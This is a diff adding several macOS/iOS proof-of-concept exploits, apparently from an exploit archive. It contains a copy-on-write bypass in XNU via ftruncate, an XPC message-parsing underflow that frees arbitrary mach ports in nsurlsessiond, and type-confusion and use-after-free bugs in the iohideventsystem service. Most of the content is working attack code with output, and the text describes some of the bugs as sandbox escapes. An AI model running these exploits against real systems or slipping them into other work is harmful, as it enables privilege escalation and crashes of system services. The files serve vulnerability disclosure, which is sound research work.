diff --git a/exploits/macos/dos/46296.c b/exploits/macos/dos/46296.c new file mode 100644 index 000000000..8c3476578 --- /dev/null +++ b/exploits/macos/dos/46296.c @@ -0,0 +1,464 @@ +/* +XNU has various interfaces that permit creating copy-on-write copies of data +between processes, including out-of-line message descriptors in mach messages. +It is important that the copied memory is protected against later modifications +by the source process; otherwise, the source process might be able to exploit +double-reads in the destination process. + +This copy-on-write behavior works not only with anonymous memory, but also with +file mappings. This means that, if the filesystem mutates the file contents +(e.g. because the ftruncate() syscall was used), the filesystem must inform the +memory management subsystem so that affected pages can be deduplicated. +If this doesn't happen, that's a security bug. + + +ubc_setsize_ex() roughly has the following logic: + +Step 1: If the file grows or stays at the same size, do nothing and return. +Step 2: If the new file size is not divisible by the page size, zero out the end + of the page that is now at the end of the file. +Step 3: If there are pages that were previously part of the file but aren't + anymore, tell the memory management subsystem to invalidate them. +Step 4: Return. + +Step 2 is implemented as follows: + +=========== + /* + * new EOF ends up in the middle of a page + * zero the tail of this page if it's currently + * present in the cache + + kret = ubc_create_upl_kernel(vp, lastpg, PAGE_SIZE, &upl, &pl, UPL_SET_LITE, VM_KERN_MEMORY_FILE); + + if (kret != KERN_SUCCESS) + panic("ubc_setsize: ubc_create_upl (error = %d)\n", kret); + + if (upl_valid_page(pl, 0)) + cluster_zero(upl, (uint32_t)lastoff, PAGE_SIZE - (uint32_t)lastoff, NULL); + + ubc_upl_abort_range(upl, 0, PAGE_SIZE, UPL_ABORT_FREE_ON_EMPTY); +=========== + +Call graph: + +ubc_create_upl_kernel(uplflags=UPL_SET_LITE) +-> memory_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL) +-> vm_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL) + +vm_object_upl_request() can perform COW deduplication, but only if the +UPL_WILL_MODIFY flag is set, which isn't set here. + + +A simple testcase: + +=========== +$ cat buggycow2.c +#include +#include +#include +#include +#include +#include +#include + +int main(void) { + setbuf(stdout, NULL); + + int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0600); + if (fd == -1) err(1, "open"); + if (ftruncate(fd, 0x4000)) err(1, "ftruncate 1"); + char *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + if (mapping == MAP_FAILED) err(1, "mmap"); + *(unsigned int *)(mapping + 0x3000) = 0x41414141; + + pointer_t cow_mapping; + mach_msg_type_number_t cow_mapping_size; + if (vm_read(mach_task_self(), (vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read"); + if (cow_mapping_size != 0x4000) errx(1, "vm read size"); + printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000)); + + if (ftruncate(fd, 0x3001)) err(1, "ftruncate 2"); + + printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000)); +} +$ cc -o buggycow2 buggycow2.c +$ ./buggycow2 +orig: 0x41414141 cow: 0x41414141 +orig: 0x41 cow: 0x41 +$ +=========== + + +To demonstrate that this also works with out-of-line memory sent over mach +ports, I am attaching a more complicated PoC that was mostly written by Ian. +It sends an out-of-line descriptor over a mach port, then changes the memory +seen by the recipient. + +Usage: + +=========== +$ cc -o mach_truncate_poc mach_truncate_poc.c +$ ./mach_truncate_poc +[+] child got stashed port +[+] child sent hello message to parent over shared port +[+] parent received hello message from child +[+] child restored stolen port +[+] file created +[+] child sent message to parent +[+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10c213000 +[+] parent reads: 41414141 +[+] telling child to try to change what I see! +[+] child received ping to start trying to change the OOL memory! +[+] child called ftruncate() +[+] parent got ping message from child, lets try to read again... +[+] parent reads: 00000041 +$ +=========== + +The simple testcase was tested on 10.14.1 18B75. +*/ + +#define RAM_GB 16ULL +#define SIZE ((RAM_GB+4ULL) * 1024ULL * 1024ULL * 1024ULL) + +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include + +#define MACH_ERR(str, err) do { \ + if (err != KERN_SUCCESS) { \ + mach_error("[-]" str "\n", err); \ + exit(EXIT_FAILURE); \ + } \ +} while(0) + +#define FAIL(str) do { \ + printf("[-] " str "\n"); \ + exit(EXIT_FAILURE); \ +} while (0) + +#define LOG(str) do { \ + printf("[+] " str"\n"); \ +} while (0) + +/*************** + * port dancer * + ***************/ + +// set up a shared mach port pair from a child process back to its parent without using launchd +// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html + +// mach message for sending a port right +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_port_descriptor_t port; +} port_msg_send_t; + +// mach message for receiving a port right +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_port_descriptor_t port; + mach_msg_trailer_t trailer; +} port_msg_rcv_t; + +typedef struct { + mach_msg_header_t header; +} simple_msg_send_t; + +typedef struct { + mach_msg_header_t header; + mach_msg_trailer_t trailer; +} simple_msg_rcv_t; + +#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT + +// a copy in the parent of the stolen special port such that it can be restored +mach_port_t saved_special_port = MACH_PORT_NULL; + +// the shared port right in the parent +mach_port_t shared_port_parent = MACH_PORT_NULL; + +void setup_shared_port() { + kern_return_t err; + // get a send right to the port we're going to overwrite so that we can both + // restore it for ourselves and send it to our child + err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port); + MACH_ERR("saving original special port value", err); + + // allocate the shared port we want our child to have a send right to + err = mach_port_allocate(mach_task_self(), + MACH_PORT_RIGHT_RECEIVE, + &shared_port_parent); + + MACH_ERR("allocating shared port", err); + + // insert the send right + err = mach_port_insert_right(mach_task_self(), + shared_port_parent, + shared_port_parent, + MACH_MSG_TYPE_MAKE_SEND); + MACH_ERR("inserting MAKE_SEND into shared port", err); + + // stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork + err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent); + MACH_ERR("setting special port", err); +} + +mach_port_t recover_shared_port_child() { + kern_return_t err; + + // grab the shared port which our parent stashed somewhere in the special ports + mach_port_t shared_port_child = MACH_PORT_NULL; + err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child); + MACH_ERR("child getting stashed port", err); + + LOG("child got stashed port"); + + // say hello to our parent and send a reply port so it can send us back the special port to restore + + // allocate a reply port + mach_port_t reply_port; + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + MACH_ERR("child allocating reply port", err); + + // send the reply port in a hello message + simple_msg_send_t msg = {0}; + + msg.header.msgh_size = sizeof(msg); + msg.header.msgh_local_port = reply_port; + msg.header.msgh_remote_port = shared_port_child; + + msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); + + err = mach_msg_send(&msg.header); + MACH_ERR("child sending task port message", err); + + LOG("child sent hello message to parent over shared port"); + + // wait for a message on the reply port containing the stolen port to restore + port_msg_rcv_t stolen_port_msg = {0}; + err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + MACH_ERR("child receiving stolen port\n", err); + + // extract the port right from the message + mach_port_t stolen_port_to_restore = stolen_port_msg.port.name; + if (stolen_port_to_restore == MACH_PORT_NULL) { + FAIL("child received invalid stolen port to restore"); + } + + // restore the special port for the child + err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore); + MACH_ERR("child restoring special port", err); + + LOG("child restored stolen port"); + return shared_port_child; +} + +mach_port_t recover_shared_port_parent() { + kern_return_t err; + + // restore the special port for ourselves + err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port); + MACH_ERR("parent restoring special port", err); + + // wait for a message from the child on the shared port + simple_msg_rcv_t msg = {0}; + err = mach_msg(&msg.header, + MACH_RCV_MSG, + 0, + sizeof(msg), + shared_port_parent, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + MACH_ERR("parent receiving child hello message", err); + + LOG("parent received hello message from child"); + + // send the special port to our child over the hello message's reply port + port_msg_send_t special_port_msg = {0}; + + special_port_msg.header.msgh_size = sizeof(special_port_msg); + special_port_msg.header.msgh_local_port = MACH_PORT_NULL; + special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port; + special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX; + special_port_msg.body.msgh_descriptor_count = 1; + + special_port_msg.port.name = saved_special_port; + special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND; + special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg_send(&special_port_msg.header); + MACH_ERR("parent sending special port back to child", err); + + return shared_port_parent; +} + +/*** end of port dancer code ***/ + + +struct ool_send_msg { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; +}; + +struct ool_rcv_msg { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; + mach_msg_trailer_t trailer; +}; + +struct ping_send_msg { + mach_msg_header_t hdr; +}; + +struct ping_rcv_msg { + mach_msg_header_t hdr; + mach_msg_trailer_t trailer; +}; + +void do_child(mach_port_t shared_port) { + kern_return_t err; + + // create a reply port to receive an ack that we should truncate the file + mach_port_t reply_port; + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + MACH_ERR("child allocating reply port", err); + + // create a file that is a few pages big + int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0666); + if (fd == -1) FAIL("create testfile"); + if (ftruncate(fd, 0x4000)) FAIL("resize testfile"); + LOG("file created"); + + void* mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + if (mapping == MAP_FAILED) FAIL("mmap created file"); + *(unsigned int *)mapping = 0x41414141; + + struct ool_send_msg msg = {0}; + + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_local_port = reply_port; + msg.hdr.msgh_remote_port = shared_port; + msg.hdr.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND) | MACH_MSGH_BITS_COMPLEX; + + msg.body.msgh_descriptor_count = 1; + + msg.desc.type = MACH_MSG_OOL_DESCRIPTOR; + msg.desc.copy = MACH_MSG_VIRTUAL_COPY; + msg.desc.deallocate = 0; + msg.desc.address = mapping; + msg.desc.size = 0x4000; + + err = mach_msg_send(&msg.hdr); + MACH_ERR("child sending OOL message", err); + + LOG("child sent message to parent"); + + // wait for an ack to change the file: + struct ping_rcv_msg ping_rcv = {0}; + ping_rcv.hdr.msgh_size = sizeof(ping_rcv); + ping_rcv.hdr.msgh_local_port = reply_port; + err = mach_msg_receive(&ping_rcv.hdr); + MACH_ERR("child receiving ping to change OOL memory", err); + + LOG("child received ping to start trying to change the OOL memory!"); + + // trigger the bug by calling ftruncate() + if (ftruncate(fd, 1)) FAIL("truncate file to trigger bug"); + LOG("child called ftruncate()"); + + // send a message to read again: + struct ping_send_msg ping = {0}; + ping.hdr.msgh_size = sizeof(ping); + ping.hdr.msgh_remote_port = shared_port; + ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); + + err = mach_msg_send(&ping.hdr); + MACH_ERR("parent sending ping to child", err); + + // spin and let our parent kill us + while(1){;} +} + +void do_parent(mach_port_t shared_port) { + kern_return_t err; + + // wait for our child to send us an OOL message + struct ool_rcv_msg msg = {0}; + msg.hdr.msgh_local_port = shared_port; + msg.hdr.msgh_size = sizeof(msg); + err = mach_msg_receive(&msg.hdr); + MACH_ERR("parent receiving child OOL message", err); + + volatile uint32_t* parent_cow_mapping = msg.desc.address; + uint32_t parent_cow_size = msg.desc.size; + + printf("[+] parent got an OOL descriptor for %x bytes, mapped COW at: %p\n", parent_cow_size, (void*) parent_cow_mapping); + + printf("[+] parent reads: %08x\n", *parent_cow_mapping); + + LOG("telling child to try to change what I see!"); + + mach_port_t parent_to_child_port = msg.hdr.msgh_remote_port; + + struct ping_send_msg ping = {0}; + ping.hdr.msgh_size = sizeof(ping); + ping.hdr.msgh_remote_port = parent_to_child_port; + ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); + + err = mach_msg_send(&ping.hdr); + MACH_ERR("parent sending ping to child", err); + + // wait until we should try to read again: + struct ping_rcv_msg ping_rcv = {0}; + ping_rcv.hdr.msgh_size = sizeof(ping_rcv); + ping_rcv.hdr.msgh_local_port = shared_port; + err = mach_msg_receive(&ping_rcv.hdr); + MACH_ERR("parent receiving ping to try another read", err); + + LOG("parent got ping message from child, lets try to read again..."); + + printf("[+] parent reads: %08x\n", *parent_cow_mapping); +} + +int main(int argc, char** argv) { + setup_shared_port(); + + pid_t child_pid = fork(); + if (child_pid == -1) { + FAIL("forking"); + } + + if (child_pid == 0) { + mach_port_t shared_port_child = recover_shared_port_child(); + do_child(shared_port_child); + } else { + mach_port_t shared_port_parent = recover_shared_port_parent(); + do_parent(shared_port_parent); + } + + kill(child_pid, 9); + int status; + wait(&status); + + return 0; +} \ No newline at end of file diff --git a/exploits/multiple/dos/46297.c b/exploits/multiple/dos/46297.c new file mode 100644 index 000000000..9a0502936 --- /dev/null +++ b/exploits/multiple/dos/46297.c @@ -0,0 +1,287 @@ +/* +_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages. + +There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as +a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then +they're also transfered as MACH_PORT_OOL_PORT descriptors. + +Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd: +It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0. + +Looking at ipc_kmsg_copyin_body you can see that this is in fact the case. + +This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to +have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set. + +It turns out that libxpc does exactly that in _xpc_serializer_unpack: + +__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message +__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set +... +__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67↑j +__text:000000000000703F mov rax, rbx +__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0 +__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor +__text:0000000000007049 mov ecx, 0FF000000h +__text:000000000000704E and ecx, [rax+24h] +__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC? +__text:0000000000007057 jnz short loc_7089 +__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit +__text:0000000000007062 mov r9, [rbx] ; save the address field +__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later +__text:0000000000007069 lea rax, __xpc_serializer_munmap +__text:0000000000007070 mov [r12+48h], rax +__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff +__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message +__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc +__text:0000000000007082 mov eax, 2Ch ; ',' +__text:0000000000007087 jmp short loc_7094 +__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0 +__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :) + +The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays. + +By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed +which will cause names read from our fake descriptors to be passed to mach_port_deallocate(). + +You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting +for the port name 0x414141 to be passed in rsi. + +There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations +so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS. + +Still, it would be a nice sandbox escape on MacOS. + +Tested on MacOS 10.14.1 (18B75) +*/ + +// ianbeer +#if 0 +Arbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack + +_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages. + +There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as +a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then +they're also transfered as MACH_PORT_OOL_PORT descriptors. + +Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd: +It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0. + +Looking at ipc_kmsg_copyin_body you can see that this is in fact the case. + +This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to +have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set. + +It turns out that libxpc does exactly that in _xpc_serializer_unpack: + +__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message +__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set +... +__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67↑j +__text:000000000000703F mov rax, rbx +__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0 +__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor +__text:0000000000007049 mov ecx, 0FF000000h +__text:000000000000704E and ecx, [rax+24h] +__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC? +__text:0000000000007057 jnz short loc_7089 +__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit +__text:0000000000007062 mov r9, [rbx] ; save the address field +__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later +__text:0000000000007069 lea rax, __xpc_serializer_munmap +__text:0000000000007070 mov [r12+48h], rax +__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff +__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message +__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc +__text:0000000000007082 mov eax, 2Ch ; ',' +__text:0000000000007087 jmp short loc_7094 +__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0 +__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :) + +The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays. + +By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed +which will cause names read from our fake descriptors to be passed to mach_port_deallocate(). + +You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting +for the port name 0x414141 to be passed in rsi. + +There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations +so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS. + +Still, it would be a nice sandbox escape on MacOS. + +Tested on MacOS 10.14.1 (18B75) + +#endif + +#include +#include + +#include + +kern_return_t +bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); + +struct xpc_w00t { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_port_descriptor_t client_port; + mach_msg_port_descriptor_t reply_port; +}; + +static int +xpc_checkin( + mach_port_t service_port, + mach_port_t* client_port, + mach_port_t* reply_port) +{ + // allocate the client and reply port: + kern_return_t err; + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + exit(EXIT_FAILURE); + } + + // insert a send so we maintain the ability to send to this port + err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND); + if (err != KERN_SUCCESS) { + printf("port right insertion failed: %s\n", mach_error_string(err)); + exit(EXIT_FAILURE); + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + exit(EXIT_FAILURE); + } + + struct xpc_w00t msg; + memset(&msg.hdr, 0, sizeof(msg)); + msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_remote_port = service_port; + msg.hdr.msgh_id = 'w00t'; + + msg.body.msgh_descriptor_count = 2; + + msg.client_port.name = *client_port; + msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send + msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; + + msg.reply_port.name = *reply_port; + msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; + msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg(&msg.hdr, + MACH_SEND_MSG|MACH_MSG_OPTION_NONE, + msg.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + if (err != KERN_SUCCESS) { + printf("w00t message send failed: %s\n", mach_error_string(err)); + exit(EXIT_FAILURE); + } else { + printf("sent xpc w00t message\n"); + } + + return 1; +} + +struct xpc_bad_ool { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_descriptor_t ool0; + mach_msg_port_descriptor_t port1; + mach_msg_ool_descriptor_t ool2; +}; + + +void bad_xpc(mach_port_t p) { + kern_return_t err; + struct xpc_bad_ool msg = {0}; + + msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_remote_port = p; + msg.hdr.msgh_id = 0x10000000; + + msg.body.msgh_descriptor_count = 0; + + msg.ool0.address = 0x414141414141; + msg.ool0.size = 0x4000; + msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR; + + msg.port1.name = 0x41414141; // port name to mach_port_deallocate in target + msg.port1.disposition = 0x11; + msg.port1.type = MACH_MSG_PORT_DESCRIPTOR; + + msg.ool2.address = 0x414141414141; + msg.ool2.size = 0x4000; + msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR; + + + err = mach_msg(&msg.hdr, + MACH_SEND_MSG|MACH_MSG_OPTION_NONE, + msg.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + if (err != KERN_SUCCESS) { + printf("xpc message send failed: %s\n", mach_error_string(err)); + exit(EXIT_FAILURE); + } else { + printf("sent xpc message\n"); + } + +} + +// lookup a launchd service: +static mach_port_t +lookup( + char* name) +{ + mach_port_t service_port = MACH_PORT_NULL; + kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port); + if(err != KERN_SUCCESS){ + printf("unable to look up %s\n", name); + return MACH_PORT_NULL; + } + + if (service_port == MACH_PORT_NULL) { + printf("bad service port\n"); + return MACH_PORT_NULL; + } + return service_port; +} + +void +xpc_connect( + char* service_name, + mach_port_t* xpc_client_port, + mach_port_t* xpc_reply_port) +{ + mach_port_t service_port = lookup(service_name); + xpc_checkin(service_port, xpc_client_port, xpc_reply_port); + mach_port_destroy(mach_task_self(), service_port); +} + +int main() { + mach_port_t service_port = lookup("com.apple.nsurlsessiond"); + + mach_port_t xpc_client_port = MACH_PORT_NULL; + mach_port_t xpc_reply_port = MACH_PORT_NULL; + + xpc_checkin(service_port, &xpc_client_port, &xpc_reply_port); + printf("xpc_client_port: %x\n", xpc_client_port); + printf("checked in?\n"); + + bad_xpc(xpc_client_port); + + return 0; +} \ No newline at end of file diff --git a/exploits/multiple/dos/46298.c b/exploits/multiple/dos/46298.c new file mode 100644 index 000000000..c594665b5 --- /dev/null +++ b/exploits/multiple/dos/46298.c @@ -0,0 +1,162 @@ +/* +It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding +this service. + +com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app +sandbox on iOS. + +It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects +on which actions should be performed. There is insufficient checking that the types are correct; so far as +I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on +a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to +an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that +the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot +of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection +but is in fact reading out of bounds.) + +There's also what looks like a regular memory safety issue in +_io_hideventsystem_unregister_record_service_changed_notification. + +This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to +_IOHIDEventSystemConnectionUnregisterRecordServiceChanged. + +This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem, +passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it. + +The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references +on that object... + +The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice. + +You should enable guard malloc for the service to more easily see what's going on. + +Tested on MacOS 10.14.1 (18B75) + + +// ianbeer +// build: clang -o hidcrasher hidcrasher.c -framework IOKit +// repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc +// then either manually kill hidd or run the PoC twice so that the second time you can more clearly observe the UaF + +#if 0 +iOS/MacOS Sandbox escapes due to type confusions and memory safety issues in iohideventsystem + +It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding +this service. + +com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app +sandbox on iOS. + +It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects +on which actions should be performed. There is insufficient checking that the types are correct; so far as +I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on +a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to +an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that +the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot +of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection +but is in fact reading out of bounds.) + +There's also what looks like a regular memory safety issue in +_io_hideventsystem_unregister_record_service_changed_notification. + +This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to +_IOHIDEventSystemConnectionUnregisterRecordServiceChanged. + +This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem, +passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it. + +The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references +on that object... + +The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice. + +You should enable guard malloc for the service to more easily see what's going on. + +Tested on MacOS 10.14.1 (18B75) +#endif + +#include +#include +#include + +#include +#include +#include + +kern_return_t io_hideventsystem_unregister_record_service_changed_notification( + mach_port_t service_connection); + +int main(int argc, char** argv) { + kern_return_t err; + + // connect to the com.apple.iohideventsystem service + + mach_port_t service_port = MACH_PORT_NULL; + + err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port); + if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) { + printf("failed to lookup service\n"); + exit(EXIT_FAILURE); + } + + printf("got service port: 0x%x\n", service_port); + + for (int i = 0; i < 10; i++) { + io_hideventsystem_unregister_record_service_changed_notification(service_port); + } + return 0; +} +*/ + +/ ianbeer +// build: clang -o hid_typeconfusion hid_typeconfusion.c -framework IOKit -framework CoreFoundation +// repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc +// then kill hidd so it restarts with guard malloc enabled + +#include +#include +#include + +#include +#include +#include + +#include + +kern_return_t io_hideventsystem_create_virtual_service( + mach_port_t connection, + void* desc, + uint32_t desc_len, + uint64_t* id_out); + +extern uint32_t _IOHIDSerialize(CFTypeRef obj, mach_vm_address_t* out); + +int main(int argc, char** argv) { + kern_return_t err; + + /* connect to the com.apple.iohideventsystem service */ + + mach_port_t service_port = MACH_PORT_NULL; + + err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port); + if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) { + printf("failed to lookup service\n"); + exit(EXIT_FAILURE); + } + + printf("got service port: 0x%x\n", service_port); + + /* need a dictionary */ + CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionaryAddValue(dict, CFSTR("key"), CFSTR("value")); + + mach_vm_address_t out_ptr = 0; + uint32_t size = _IOHIDSerialize(dict, &out_ptr); + + CFRelease(dict); + + uint64_t id_out = 0; + err = io_hideventsystem_create_virtual_service(service_port, (void*)out_ptr, size, &id_out); + + return 0; +} \ No newline at end of file diff --git a/exploits/multiple/dos/46299.c b/exploits/multiple/dos/46299.c new file mode 100644 index 000000000..ae89397ee --- /dev/null 